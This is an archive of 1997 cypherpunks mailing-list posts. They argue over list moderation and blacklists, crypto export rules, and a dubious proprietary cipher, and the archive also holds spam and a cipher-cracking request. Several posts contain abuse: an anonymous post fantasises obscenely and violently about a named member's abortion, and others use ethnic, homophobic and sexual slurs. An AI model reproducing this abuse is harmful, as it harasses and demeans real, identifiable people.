"We're all bozos on this bus" - Nick Danger, Third Eye

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1

iQEVAwUBMth/4MtPRTNbb5z9AQF62wf/anuZ3p8CHhnYGQhVkQXyT4zUppF2gc5H
PyJJcXp1C2wMyw2INKBEHvjUGvtSkXXW2GOZaEgeUKR0rsmCSGqgtd9mrx0JZE/Y
ue3g8EtaqiezUNsTq7ElNK1v0AW3b6/eIWFvG55dzEP5l2yOCD0Um+wa09Xh6YMY
VsQJw32vnnxCroM/gPFqbtyhTw/F+oGOSCCxa8W8QGrtpWan3awMvavlhhSGrBDt
elMRH+L03PebhJxajnLSz9+A5x0W+3rTzW+G8KUGDBqG/7DEppw7eltBw6K55LxJ
IgTOi0kUbz9k9IsXG3HN9RPsJTGII4/UlrXJv05tpO1Qsihu0cln8Q==
=j5i+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 19:18:48 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <R8VD1D66w165w@bwalk.dm.com>
Message-ID: <32D8729B.E75@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> ichudov@algebra.com (Igor Chudov @ home) writes:
> 
> > Note that another important feature of STUMP that we seem to overlook was
> > designed specifically to address the problems of preapproved lists. This
> > feature is the presence of "bad words list".

  As a person with Tourette Syndrome, I find this to be discriminatory
against me.
  As a hockey player, I find it double-discriminatory.
  As a dirty-mouthed scumbag, I find it triple-discriminatory.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 19:47:56 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
In-Reply-To: <Pine.SUN.3.94.970111161943.5104E-100000@polaris>
Message-ID: <32D878F5.2B22@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> On Sat, 11 Jan 1997 DataETRsch@aol.com wrote:
> 
> > Questions, queries, or comments ("gulp")? E-Mail: DataETRsch@aol.com,
> > JKYuRamos@aol.com, or DataETResearch@geocities.com. Note: From now on, any
> > messages to DataET Research that do not contain the text "NO FLAME" somewhere
> > in the subject heading will be ignored completely. If a message is a indeed
> > flame, the associated server's administrator will be contacted, and a
> > complaint will be filed accordingly.

  Have they hired Sandy to moderate 'their' incoming email, too?
  It seems like moderating CypherPunk responses is becoming a cottage
industry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 11 Jan 1997 21:53:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private Idaho source code now available
Message-ID: <199701120553.VAA10283@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:35 PM 1/11/97 -0500, Anonymous wrote:
>Joel McNamara says:
>> Private Idaho 2.8b3, a bug fix version of the popular Windows freeware PGP
>> and remailer utility, is now available.  This will be my last official
>> release of PI for the foreseeable future.
>> 
>> Due to other projects and new directions, I haven't been able to spend as
>> much time as I'd like coding and supporting Private Idaho.  Instead of
>> seeing it die on the vine, I've decided to release the source code under
>> the GNU General Public License (export disclaimer - the sources do not
>> include, or have ever contained, cryptographic algorithms).
>
>	My understanding is that Private Idaho uses PGP internally
>and provides the same functionality as premail, with an 
>easier to use GUI.
>
>	Given that, it would still be export controlled, since it
>enables cryptography. That is why Raph doesn't allow export of premail.

The "enables cryptography" thing just doesn't cut it.  A computer "enables 
cryptography" to a person without a computer.  The MSDOS operating system 
"enables cryptography" to a person with a computer but without an OS.  A 
hard disk with a filesystem "enables cryptography" by providing an 
intermediate data storage location (and format) for encrypted and 
unencrypted data, as well as the encryption program.  Even a modem program 
or mail program "enables cryptography", or at least enables the transmission 
of encrypted data, etc.

Apparently, the phrase "enable cryptography" is either just about 
meaningless, or is so broad as to be not usable to determine which items are 
exportable and which aren't.  How about narrowing it down a bit?  


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Barry Shultz" <phoenix@enter.net>
Date: Sat, 11 Jan 1997 19:29:54 -0800 (PST)
To: bshultz@talon.net
Subject: apology
Message-ID: <199701120317.WAA17506@mail.enter.net>
MIME-Version: 1.0
Content-Type: text/plain


You have received a message from this mailbox in error. I am sorry 
for the error, you are NOT ON A MAILING LIST. The message you 
received was intended for a specific mailing list which you were not 
on. We all have to learn new software and mistakes sometimes are 
made. Again, we are sorry you were subjected to our learning curves.

Barry Shultz
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 11 Jan 1997 21:02:32 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D8729B.E75@sk.sympatico.ca>
Message-ID: <199701120517.XAA00330@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> > ichudov@algebra.com (Igor Chudov @ home) writes:
> > > Note that another important feature of STUMP that we seem to overlook was
> > > designed specifically to address the problems of preapproved lists. This
> > > feature is the presence of "bad words list".

>   As a person with Tourette Syndrome, I find this to be discriminatory
>   against me.

    Then go baassholeck and edit your posts before you sendcuntthem. 

>   As a hockey player, I find it double-discriminatory.

    That is a personal problem. You should talk to a professional about that.

>   As a dirty-mouthed scumbag, I find it triple-discriminatory.

    If you _can't_ say it without using words on the dirty list, then you 
probably use velco straps on your shoes because the laces confuse you when you
start to tie them... 

     





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Sat, 11 Jan 1997 20:35:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private Idaho source code now available
In-Reply-To: <3.0.32.19970110072140.00d1320c@mail.eskimo.com>
Message-ID: <199701120435.XAA00110@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Joel McNamara says:
> Private Idaho 2.8b3, a bug fix version of the popular Windows freeware PGP
> and remailer utility, is now available.  This will be my last official
> release of PI for the foreseeable future.
> 
> Due to other projects and new directions, I haven't been able to spend as
> much time as I'd like coding and supporting Private Idaho.  Instead of
> seeing it die on the vine, I've decided to release the source code under
> the GNU General Public License (export disclaimer - the sources do not
> include, or have ever contained, cryptographic algorithms).

	My understanding is that Private Idaho uses PGP internally
and provides the same functionality as premail, with an 
easier to use GUI.

	Given that, it would still be export controlled, since it
enables cryptography. That is why Raph doesn't allow export of premail.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sat, 11 Jan 1997 22:55:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] Secure envelopes
Message-ID: <199701120655.XAA02840@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's mother attempted to pro-choice 
the unwanted little bastard by fishing with 
a coat hanger in her giant cunt, but failed 
miserably to pull the rabbit and succeeded 
only in scraping out the contents of little 
Timmy's fetal cranium (not much to begin 
with).

      o       o
    /<         >\ Timmy May
    \\\_______///
    //         \\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Sat, 11 Jan 1997 22:10:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Free money, 3
Message-ID: <199701120610.BAA10132@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN ECASH PAYMENT-----

oLmQgwAC4qGgiqCukIFPkIECkIFkkIEEkIEDkYQy1+vekIQy6mDekIFPkoFAlJQm
dEokCPg7uvJMompvAri+vpF4nJSUR7WtWI4njBqr6/SIKt8Iobe9NIuQgRCSjUZy
ZWUgbW9uZXksIDOSgJSAkIECkYQAAAAAkIEAoaC4oKuQggHmk+AZIwHHsiV1TG0e
yn0aHAbTeF/TxQAHuLZyNn7zSh3uZm0YgaT+kvdjOnO00JLEn+oKi68yV9OHXMaX
94222wz5IBoPMw7VVjjEs/+7UqiZ0zFGIct+Re1WnUZ5+Rfs6CyT4JblVMjyluvE
NMBaCC0xCGEyU0VLbMpJNnWI+R0YBnUKQgPaH+VEbw/6Jv56j03e19ugNxLTe0kR
JqoNuLyvbKMM4LHD5T+At869pIu5qPdzpy6cVh5GWTokjZUoMB+POJCBQKGgq5CC
AeWT4CzHnlnGaaZZ6hvrvz+ZcI9YT8PJ3DwM1b/NVFVXBZsDEn9Qb9w6IAx7qEAS
54o7emcFd5vxztrpA8PJRmWJpaLo3MyvGNghRmpXiUOZpoqAGswEAwY1Avy3e8m5
ReOUuZPgUKkIAJ+VRHLw8Y5bT4ELxSCzgGFt5wpam+rGJlJcgLsU9QBzjXOp6ZnU
Wy1RA9sEKSLlHeJjHTMS2CUkUF9YRzZIM08JrxAkUd4eyFMKnWWSQIlNfpDKSU3A
qj5gMYZ8kIEgoaCrkIIB4pPgIJfhD9Hr5aR4C9ihf8TT2Ce3VVejdwSXgWGDKJeH
iMHj5j03bFnT6oIyGY89qyugSHjGcNteg2tQLH2sQ/DV91vEaxvscvjPtbqK4GtW
t1Spgav3bE+qiXq68xpl3ashk+BSfWdSzmALzawq4TM0srsXDyIpAKT3zE+Kmmd0
yjnAZzmhVqSbK61Fqob/7LYcOlyJ860Si0OEXMoMnPXE0pCCwSizfiBjxIo/3KnY
bEBppvdsLU89zTM7ccZ0wW8RHgCQgQShoaG=
-----END ECASH PAYMENT-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 11 Jan 1997 23:36:03 -0800 (PST)
To: oksas@asimov.montclair.edu (Nurdane Oksas)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SOL.3.93.970111193411.17742A-100000@pegasus.montclair.edu>
Message-ID: <199701120729.BAA03801@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Nurdane Oksas wrote:
> 
> On Sat, 11 Jan 1997, Igor Chudov @ home wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > > 
> > > Jew-hating paranoid liar Rich Graves <rcgraves@disposable.com> writes:
> > > >
> > > > I would not favor a moderation policy that gave carte blanche to "good guys"
> > > > to talk about whatever they wanted ("libertarian bullshit" in Chudov's
> > > > delicate phrasing), but required posts by "bad guys" like Dale (and in certai
> > > > threads, me -- you never know) to be "about crypto." That's a hypocritical
> > > > double standard.
> > > 
> > > Here's another typical post from Igor's soc.culture.russian.moderated (NOT).
> > > 
> > > Igor Chudov, a moderator of s.c.r.m, calls M. Kagalenko "envious eunich", but
> > > Kagalenko has been banned from posting to s.c.r.m because he objected to its
> > > creation (i.e. he's on the "blacklist" and his submissions are auto-rejected).
> > 
> > but none of the posts in question had ever been posted to scrm.
> 
> 	You know well that Kagalenko is most rejected in scrm,
> 	Poor guy ...not one post, how can that be..?

How can that be? A good question. It can be because Misha submits
dozens of articles containing autogenerated garbage. He does it because
he does not like our newsgroup. We moderators have no other choice
but to reject these autogenerated articles because our charter prohibits
us from approving them.

To protect moderators from mailbombing our charter tells us to put
such mailbombers into our blacklist, which I do.

Once a month I remove Misha from our blacklist, and let him know that
he indeed had been removed. That usually results in another flood of
bogus submissions.

Apparently Misha likes it this way, and it probably lets him feel more
important than he really is. Well, if that is so, I have no problem with
that.

Check out http://www.algebra.com/~ichudov/usenet/scrm/archive/maillist.html

Otherwise, if Misha decides that he wants to post anything of substance, 
a single request from him to remove him from our blacklist would suffice.
I do not need to keep him blacklisted as long as he does not mailbomb us.

But I will not bow to him.

That's the sad story.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 12 Jan 1997 00:30:28 -0800 (PST)
To: Three Blind Mice <3bmice@nym.alias.net>
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
In-Reply-To: <19970112023038.6362.qmail@anon.lcs.mit.edu>
Message-ID: <32D8B7F4.4E20@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Three Blind Mice wrote:
> 
> On Sat, 11 Jan 1997 DataETRsch@aol.com wrote:

> > the UDCM V2.0 software package / archive. UDCM V2.0 was modified to restrict
> > keys to 50 bits so as to comply with the latest ITAR details. The extensively
> 
> The amazing shrinking key... pretty soon we'll have 1 bit keys, and
> they'll have to be registered with this company for ITAR compliance. ;)

  Hey! Have you been hacking into my system?
  That's proprietary information, pal. I have copyrighted the 1 bit key
and will sue if you try to muscle in on my action here.
  I just hope that I can get my company off the ground. I'm a little 
short of funds since DataETRetch fired me as their PR Manager.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Three Blind Mice <3bmice@nym.alias.net>
Date: Sat, 11 Jan 1997 18:31:17 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
Message-ID: <19970112023038.6362.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 11 Jan 1997 DataETRsch@aol.com wrote:

> include a public key cryptosystem. However, on March 1st, 1997, new versions
> of UDCM and IMDMP will be released that do support the public key
> cryptosystem method. The future versions will also support multi-party key

Oh, so you're just going to fix up your program a little bit, and
immediately your private key system will turn into a public key system?
Are you sure you read A.C. and didn't just look at the pictures?

> algorithms, as well as 1024 (8192 bit) keys. Note that the current version of
> IMDMP only allows 256 byte (1024) bit keys. The current shareware version and

I'm beginning to see this <insert long acronym here> as being a
variation on XOR.

> the UDCM V2.0 software package / archive. UDCM V2.0 was modified to restrict
> keys to 50 bits so as to comply with the latest ITAR details. The extensively

The amazing shrinking key... pretty soon we'll have 1 bit keys, and
they'll have to be registered with this company for ITAR compliance. ;)

> methods are not too comparable to PKCS methods. What I was referring to when
> I said IMDMP is more advanced than RSA, etc. is the actual encryption
> procedure itself, not the way keys are secured. Again, irrashional claims

Says who?  You?  Hahahahahaha.

> were not intended at all. The amount of analytical research invested in IMDMP
> was thought to be sufficient.

So a cryptosystem that's been in existence for an entire eleven days (you
said it was created January 1, 1997) has had "sufficient" "analytical 
research invested"?  My, you ARE clueless.

> AND-ing algorithm without trying it first. I find it extremely hard to
> believe that the celebrated creator(s) of Blowfish, IDEA, etc. had to go
> through all of this ritualistic screening complexity too. (Please do correct
> me if I am wrong.)

You're right, they didn't.  It's because they published code first and
then asked for review.  They didn't try to make a profit on an operating
system-specific piece of pre-compiled code before explaining the system
and giving full details.

> (For the record: DataET Research's promotional agent has been fired.)

Then why are you still posting?

> UDCMV20.ZIP is currently unavailable on the web site as the software is
> undergoing additional security modifications.

You mean you're changing XOR to AND?

> structuring. Sub-algorithms of IMDMP are basically additional applications of
> one or more of the aforesaid techniques.

SUB encrypt1 'Super secret encryption routine

SHARED text_to_encrypt$

text_to_encrypt$ = "[SECRET]" + text_to_encrypt$ + "[SECRET]"

END SUB

(Will you sue me for copyright infringement now?  I bet it looks identical
to your code -- and in the same language, too.)


--3bmice





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bill.collector@wisenet.com
Date: Sun, 12 Jan 1997 07:48:48 -0800 (PST)
Subject: Hi
Message-ID: <199701121550.HAA26576@web12.ntx.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Murple <btherl@ikkles.cs.mu.oz.au>
Date: Sat, 11 Jan 1997 15:18:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: What!
Message-ID: <199701112219.JAA07178@ikkles.cs.mu.oz.au>
MIME-Version: 1.0
Content-Type: text/plain


> Excuse me?
> 
> What is faulty about IMDMP?
> 
> - Jeremy
> 

The only people who can answer that question are you and the good people at
DataET Research, the reason being that you are the only people who know what
IMDMP is.

A more appropriate question would be 'What is faulty about UDCM?'  The problem
is that to us, UDCM is like a 'black box' - we put data in, and data comes out,
but we have no understanding of what goes on to produce the data which comes
out.  IMDMP could well be more secure than all the cryptographic algorithms in
use today, but it could just as easily have huge security holes which we may
never know about, or at least not until it is too late.

The difference between this and public algorithms such as IDEA, is that we can
obtain source code, descriptions, comments, and often detailed analyses of
these algorithms, and we can decide for ourselves whether we want to entrust
our privacy to them.  With UDCM, and hence IMDMP, this is simply not possible,
and this is where I believe you have gone wrong.

Brian Herlihy




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 12 Jan 1997 07:30:23 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: A vote of no confidence for Sandfart
In-Reply-To: <199701120729.BAA03801@manifold.algebra.com>
Message-ID: <4qaF1D74w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Nurdane Oksas wrote:
> > 	You know well that Kagalenko is most rejected in scrm,
> > 	Poor guy ...not one post, how can that be..?
>
> How can that be? A good question. It can be because Misha submits
> dozens of articles containing autogenerated garbage. He does it because

How do you know his submissions are "autogenerated" and not typed in by hand?

> he does not like our newsgroup. We moderators have no other choice
> but to reject these autogenerated articles because our charter prohibits
> us from approving them.

But the charter does not stop the moderators from calling K. "eunich",
just like the proposed "cypher punk" moderation won't stop Timmy May
from calling Dave Hayes "colored" or me "crazy Russian" or Plucky Green
from calling me and aga "vermin".

Please define "autogenerated" and "garbage". What definition does your
charter use to prohibit you from approving them? Why did you approve
Misha's submissions for a while after s.c.r.m was created? Has your
charter been since amended?

I too submitted a few articles to s.c.r.m as a test. The first one was
rejected (anonymously, by the way) with a statement indicating that I'm
not welcome to post anything in s.c.r.m regardless of content. The
others just vanished in a black hole - they didn't show up in the feed,
and I got no rejection notices. It looks like I've been blacklisted too.

That's why the lovebirds Gilmore and Sandfart want to moderate this list.

Again, this reminds me how around Xmastime there was a mail loop involving
the "cypher punks" mailing list and the site "uhf.wirenet.net", which
kept recycling old posts and resubmitting them to the list. In particular,
several of my articles appeared multiple times. Unfortunately, mail loops
happen. One of my mailing lists has been up since '89 and had probably
3 or 4 mail loops - caused by software glitches, not anyone sabotage.

Ray Arachelian officially accused me of having caused the mail loop and
posted instructions for complaining to my upstream site (not that PSI
gives a fuck) - both to the (currently unmoderated) "cypher punks"
list and Ray's "filtered" version.  I replied and refuted Ray's lies.

My refutation never made it to Ray's filtered list - only to this
(still unmoderated) list. Now Gilmore and Sandfart want to take away
their victims' ability to refute their libels (at least partially) by
moderating this list as well and blacklisting their victims.

No wonder Ray Arachelian's accusations have never been retracted by
him or Gilmore, and no explanation of the ufh.wirenet.net mail loop
other than "the Vulis did it" has been offered; no wonder we now see
traffic from root@ufh.wirenet.net calling for moderation and blacklisting.

> To protect moderators from mailbombing our charter tells us to put
> such mailbombers into our blacklist, which I do.

Beautiful. I'm already on Timmy May's "don't hire" list. Who do you think
will be on Gilmore's and Sandfart's autorejection blacklist for "cypher
punks"? I suppose it'll include:
                aga
                Attila T. Hun
                Dale Thorn
                Dave Hayes
                Dorothy Denning (just in case)
                Dr. Dimitri V. (myself)
                Fred Cohen
                George S.
                Ross Wright
                Steve Boursy
                Toto
Any others whose submissions will be automatically discarded by Gilmore?

ObCocksuckerMention: asshole censor John Gilmore is a stupid cocksucker.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TeamXcite@capella.net
Date: Sun, 12 Jan 1997 06:45:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: FOR YOUR INFO
Message-ID: <199701121450.JAA11006@capella.net>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

Do you do any type of bulk or targeted e-mail?  

Or do you want too?

I've found a spot on the net that is bulk e-mail friendly
and very inexpensive. Point your browser to:

http://www.capella.net/?AAE8A

for complete details.

Jim @ TeamXcite

P.S.  If this message reached you in error, please let me know 
and I will pass it on to where I got it and get you removed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 12 Jan 1997 08:20:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: John, Sandy & the Dr. DV K Conspiracy Theory
In-Reply-To: <R5wD1D68w165w@bwalk.dm.com>
Message-ID: <mJeF1D78w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


>  So, now, after taking a 'firm hand' in 'saving' the CypherPunks
> from the Evil Dr. Vulis, Big John finds himself being ridiculed
> and laughed at for his ineffective and ineffectual public beheading
> of the 'enemy of the people'.
>   Suddenly, however, out of the blue, comes the answer to his
> prayers--a 'bigger' threat. CypherPunks is deluded with a
> mountain of email from 10,000 Laker's fans named Bubba. A genuine
> 'outside' spam attack, pissing everyone off. Then, a rash of
> 'Make $$$Money$$$ Fast' probing actions from 'more' outsiders.

Soon after the Nazis formed the German government in 1933, a fire was set in
the Reichstag (parliament) building in Berlin. The Nazis accused Communists
of this senseless act, put some prominent Communists on trial, and used this
as a pretext to ban many non-Nazi political organizations. Has it ever been
conclusively proven that the Nazis themselves had set the fire in Reichstag?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tobin Fricke" <tobin@edm.net>
Date: Sun, 12 Jan 1997 11:53:00 -0800 (PST)
To: <aaa-list@access.org.uk>
Subject: Menwith Hill / NSA
Message-ID: <199701121949.LAA00259@server.snni.com>
MIME-Version: 1.0
Content-Type: text/plain


At DefCon III, someone had a video on these ladies ("granny hackers" was
the comment from the audience) who explore[d] the Menwith Hill NSA base in
the UK.  The video was shown twice from what I remember, once in the main
speaker room and once in the video room.  If anyone knows anything about
this video then please email me [tobin@mail.edm.net], especially if you
know WHO had it, where I could get a copy, etc.  Also, I'd like to hear
about any other similar type things. (crypto, NSA, etc)

Thanks,
Light Ray




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 12 Jan 1997 10:20:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: decryption
In-Reply-To: <199701121133.NAA10607@liasec.sec.lia.net>
Message-ID: <32D93FD1.1064@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Pierre van Rooyen wrote:
> 
> Will you please try to decrypt the following, I want to make sure it is not
> decryptable.
> - The first paragraph decrypted reads:
> 
> There are plenty of programs you could buy such as
> Floodgate to pull your own addresses however, these
> programs (even when used properly) can take up to 6 months
> just to pull as many as 750,000 addresses!  And after
> THAT time has elapsed you're database will have plenty
> of addresses that are undeliverable.

  Now, the list is receiving encrypted CipherSpam.  I'm getting 
brainlock, here.
  Is this development:
  1. Good? (CypherPunks is forcing even Spammers to use crypto?)
  2. Bad? (Spammers think CypherPunks are so dumb they will 'work'
           for their spam?)
  3. Ambivalent? (It doesn't really matter, because my brain has
                  turned to spam?)

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 12 Jan 1997 09:56:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Free money, 3
Message-ID: <199701121756.JAA27640@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear Mr. Anonymous,

Thank you very much for the free money.  You are a gentleman and a
scholar.

Yours Truly,

The Shadow





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PS <pstone@lightspeed.bc.ca>
Date: Sun, 12 Jan 1997 13:10:13 -0800 (PST)
To: pstone@lightspeed.bc.ca
Subject: Saw your post
Message-ID: <32D950B6.6DBE@lightspeed.bc.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hi there!  I saw your post the other day and thought
you might be interested in a decent offer on
some excellent information.



Start an excellent home business today!!!

For a brochure that outlines
 
THE TEN BEST OPPORTUNITES IN BUSINESS TODAY
 
send me a self-addressed, stamped envelope.


Mail to  : 

M.K. Press 
1310 W.67th Ave.
Vancouver. B.C. Canada
V6P 2T4
Please write "Offer # 4322" by hand on the envelope to me.




Never want to hear from me again? Simple.
Hit reply, put <REMOVE> in the Subject field, 
and send it on back.. Thanks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Capital Computer Concepts <richgw@erols.com>
Date: Sun, 12 Jan 1997 10:33:42 -0800 (PST)
To: Home.Business.Seekers@mx03.erols.com
Subject: Try Before You Buy
Message-ID: <3.0.32.19970112130629.00736290@pop.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,
	My name is Rich Williams, and I am the President of
Capital Computer Concepts. I would like to offer you a try before you buy
opportunity for our "Professional Home
Business" software. That's right, a free trial offer with no
risk to you. All I ask is that pay for the postage and handling
in the amount of $7.95 US for Domestic orders and $11.95 US for
International orders.
	Please understand that you will not get any of the 
hardcopy that goes with the program. But if you decide to 
buy the package, then I will send the paperwork after I
receive your payment. Also with your payment I will send you
a duplication license, which will allow you to make as many
copies of the software and the information in the software,
as you want.
	If you would like more information about the software,
e-mail my auto responder at: richgw@erols.com with the word
"Homework" in the subject line. You should receive the info package shortly
there after.
	Thank You, for requesting information about some of our
products.
			Sincerely, Richard G. Williams
					President,
				Capital Computer Concepts




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 12 Jan 1997 13:18:13 -0800 (PST)
To: Marjorie Wisby <wisby@ultra.net.au>
Subject: Re: The FAGGOT list
Message-ID: <199701122116.NAA16114@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


> I never thought the day would come when I would actually think that, however
> much I disagree with them, the pro-censorship people may have some small
> arguments on their side - but that was before I saw the sort of trash you
> continually spew.

Such trash should be an indicator to you of your -real- position on
censorship. 

It is said that a supporter is someone who will say anything. Perhaps
this is your position on free speech...a mere supporter? I invite your
response to this question.

> If you have something to say that is of interest, maybe you may gain some
> credibility. As it is, I won't be holding my breath, waiting for such a
> reversal of form.

The interest you seek is most probably only words of support for your 
position. Aiming at truth is always discouraged from those who do not
know how to seek it. 

If you truly had any real interest in the anti-censorship position,
you would watch your reactions to words which you yourself dislike,
and attempt to understand what it feels like to want words removed
from your reading selection by some other party. In this way, you
would understand the pro-censorship position and therefore be in
possession of enough real data to make a real decision as to which
side you are on, if any.

> Flames welcomed, from such fools as you obviously are. 

No flames from me are appropriate at this time...but...when *I* flame
you, you will know you have been flamed. I haven't bestowed that honor
upon anyone in years, so don't get your hopes up.

>  ~  Have you noticed that people who are most unwilling to accept         ~
>  ~  responsibility for their own actions, are the most keen to regulate   ~
>  ~  everyone else's?                                                      ~

Examples seem to abound on this from Dr. Vulis's selections from
cypherpunks that I have seen. Granted, this is his bias I am also
seeing...
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Reporter (n.) - 1. A cat waiting at a mousehole.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 12 Jan 1997 13:25:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: At the risk of getting flamed :)
Message-ID: <199701122125.NAA16170@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Dr. Vulis writes:
> Cypherpunks have been forging Usenet posts from "freedom-knights@jetcafe.org"
> to alt.business.* et al, asking for business opps in e-mail. I'm thinking of
> forwarding the resulting spam on f-k back to cypherpunks. 

Two things about this, to BOTH lists.

As a Freedom Knight, it is my opinion that the appropriate
demonstration for Freedom Knights is to ignore this junk email.

This appears to be proceeding quite well, if a minor annoyance to some.

However, I cannot in good conscience personally accept a "J'accuse"
cypherpunks of forging Usenet posts to freedom knights. Since we have
no proof of this action, it is my opinion that we must adhere to
"innocent until proven guilty".

I would like everyone to understand that this accusation is not shared
(nor even considered until seeing the above quote) by myself, nor
should it be shared by anyone who is or who calls themself a "Freedom
Knight". 

Honor before blind support, Observation before belief, Truth before
justice. Those who understand these principles will not be harmed
by the net.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

	   What we see depends on mainly what we look for.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pierre van Rooyen <jvrooyen@liasec.sec.lia.net>
Date: Sun, 12 Jan 1997 03:28:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: decryption
Message-ID: <199701121133.NAA10607@liasec.sec.lia.net>
MIME-Version: 1.0
Content-Type: text/plain


Will you please try to decrypt the following, I want to make sure it is not
decryptable.

Tips:
- Only a..z and A..Z is changed
- numbers,commas,spaces,ect. is unaltered
- Hi cased letters stays hi as so with low cased letters
- Everything is exactly the same(word lengths,ect.) only the letters of the
text   changed. 
- I don't want to explain how the text is encrypted because I want to keep it
  secret but I promise you that even if the source code of the program that
  decrypt/encrypt this text is supplied, it won't help you much
- The first paragraph decrypted reads:

There are plenty of programs you could buy such as 
Floodgate to pull your own addresses however, these 
programs (even when used properly) can take up to 6 months
just to pull as many as 750,000 addresses!  And after 
THAT time has elapsed you're database will have plenty
of addresses that are undeliverable.  

BEGIN:
Sgxph hiy kheowh wu qbbxmvak zpg pxewl wpw gqjo gb 
Pubuojzyn sr udvt poxn lqr vstswlmcr ftdghxp, dplsf 
